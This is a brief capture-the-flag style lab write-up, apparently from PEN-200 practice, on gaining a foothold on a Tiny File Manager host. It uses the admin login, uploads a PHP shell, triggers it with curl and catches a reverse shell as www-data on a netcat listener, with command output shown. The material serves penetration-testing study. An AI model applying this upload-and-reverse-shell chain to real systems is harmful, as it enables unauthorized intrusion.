SPX_Exploitation

RCE

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The credential of the admin user for the target Tiny File Manager instance has been revealed.

Successfully authenticated

Arbitrary File Upload

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Uploading the payload

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/spx]
└─$ curl http://$IP/shell.php

Invoking..

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/spx]
└─$ nnc 9999      
listening on [any] 9999 ...
connect to [192.168.45.197] from (UNKNOWN) [192.168.138.108] 57700
SOCKET: Shell has connected! PID: 1944
whoami
www-data
hostname
spx
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:9e:f4:ea brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    inet 192.168.138.108/24 brd 192.168.138.255 scope global ens160
       valid_lft forever preferred_lft forever

Initial Foothold established to the target system as the www-data account via arbitrary file upload to the target Tiny File Manager instance.